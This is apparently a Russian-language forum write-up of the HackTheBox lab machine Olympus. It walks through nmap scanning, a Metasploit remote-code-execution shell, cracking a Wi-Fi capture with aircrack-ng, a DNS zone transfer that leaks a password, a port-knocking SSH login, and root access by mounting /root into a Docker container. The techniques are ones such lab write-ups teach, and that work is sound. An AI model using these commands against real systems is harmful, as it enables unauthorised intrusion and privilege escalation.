N
n01n02h
Всем привет!
Читал вчера чатик, и там какой тип предлагал писать writeup на HTB, вот я и подрезал идейку, хотя я предлагал еще полгода назад)
Writeup на тачку Olympus, через несколько часов она улетает в архив)
Тачка на линуксе, сложность средняя.
Сканируем:
Код:
n01:~/ $ nmap -Pn -sV -sC --top-ports 1000 -T4 10.10.10.83
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-19 11:07 EDT
Nmap scan report for 10.10.10.83
Host is up (0.37s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp filtered ssh
53/tcp open domain (unknown banner: Bind)
| dns-nsid:
|_ bind.version: Bind
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
|_ Bind
80/tcp open http?
2222/tcp open ssh (protocol 2.0)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-City of olympia
| ssh-hostkey:
| 2048 f2:ba:db:06:95:00:ec:05:81:b0:93:60:32:fd:9e:00 (RSA)
| 256 79:90:c0:3d:43:6c:8d:72:19:60:45:3c:f8:99:14:bb (ECDSA)
|_ 256 f8:5b:2e:32:95:03:12:a3:3b:40:c5:11:27:ca:71:52 (ED25519)
2 services unrecognized despite returning data. If you know the service/version, please submit the
following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port53-TCP:V=7.70%I=7%D=9/19%Time=5BA26686%P=x86_64-unknown-linux-gnu%r
SF:(DNSVersionBindReqTCP,3F,"\0=\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07vers
SF:ion\x04bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\x05\x04Bind\xc0
SF:\x0c\0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.70%I=7%D=9/19%Time=5BA26681%P=x86_64-unknown-linux-gnu
SF:%r(NULL,29,"SSH-2\.0-City\x20of\x20olympia\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\r\n");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 300.19 seconds
Сканером Nikto смотрит веб сервер и находим узявимый к RCE
Ссылка скрыта от гостей
Заюзаем метасплоит для получения шелла.
Получив шелл и осмотревшись, погуляв по директориям, находим 2 файла
Рассшифровываем captured.cap
Код:
aircrack-ng -w SecLists/wordlists/rockyou.txt captured.cap
Подключившись видим в домашней директории файл “Помощь Богов”
Понимаем что нам надо дигернуть домен
Код:
n01:~/ $ dig AXFR ctfolympus.htb @10.10.10.83
; <<>> DiG 9.13.2 <<>> AXFR ctfolympus.htb @10.10.10.83
;; global options: +cmd
ctfolympus.htb. 86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb. 2018042301
21600 3600 604800 86400
ctfolympus.htb. 86400 IN TXT "prometheus, open a temporal portal to Hades
(3456 8234 62431) and St34l_th3_F1re!"
ctfolympus.htb. 86400 IN A 192.168.0.120
ctfolympus.htb. 86400 IN NS ns1.ctfolympus.htb.
ctfolympus.htb. 86400 IN NS ns2.ctfolympus.htb.
ctfolympus.htb. 86400 IN MX 10 mail.ctfolympus.htb.
crete.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
hades.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
mail.ctfolympus.htb. 86400 IN A 192.168.0.120
ns1.ctfolympus.htb. 86400 IN A 192.168.0.120
ns2.ctfolympus.htb. 86400 IN A 192.168.0.120
rhodes.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
RhodesColossus.ctfolympus.htb. 86400 IN TXT "Here lies the great Colossus of Rhodes"
www.ctfolympus.htb. 86400 IN CNAME ctfolympus.htb.
ctfolympus.htb. 86400 IN SOA ns1.ctfolympus.htb. ns2.ctfolympus.htb.
2018042301 21600 3600 604800 86400
;; Query time: 50 msec
;; SERVER: 10.10.10.83#53(10.10.10.83)
;; WHEN: Ср сен 19 12:41:18 EDT 2018
;; XFR size: 15 records (messages 1, bytes 475)
Получаем как бы подсказку, что бы открыть портал юзеру prometheus надо постучатся в три порта (port knocking) и использовать пароль St34l_th3_F1re!
Делаем длинную команду (можно написать баш скрипт, разница не велика), подключаемся и забираем флаг юзера
Код:
for x in 3456 8234 62431; do nmap -Pn --host-timeout 201 --max-retries 0 -p $x 10.10.10.83 && sleep 1; done && ssh prometheus@10.10.10.83
Мы в докере. Флаг рут мы получаем примонтировав папку root в наш контейнер
Код:
docker run -v /root:/root -i -t olympia /bin/bash
P.S.
Есть второй вариант получения корневого флага, можно сгенерировать payload в метасплоите, закинуть на хост и потом воспользоватся модулем
Ссылка скрыта от гостей
Вот как бы и все!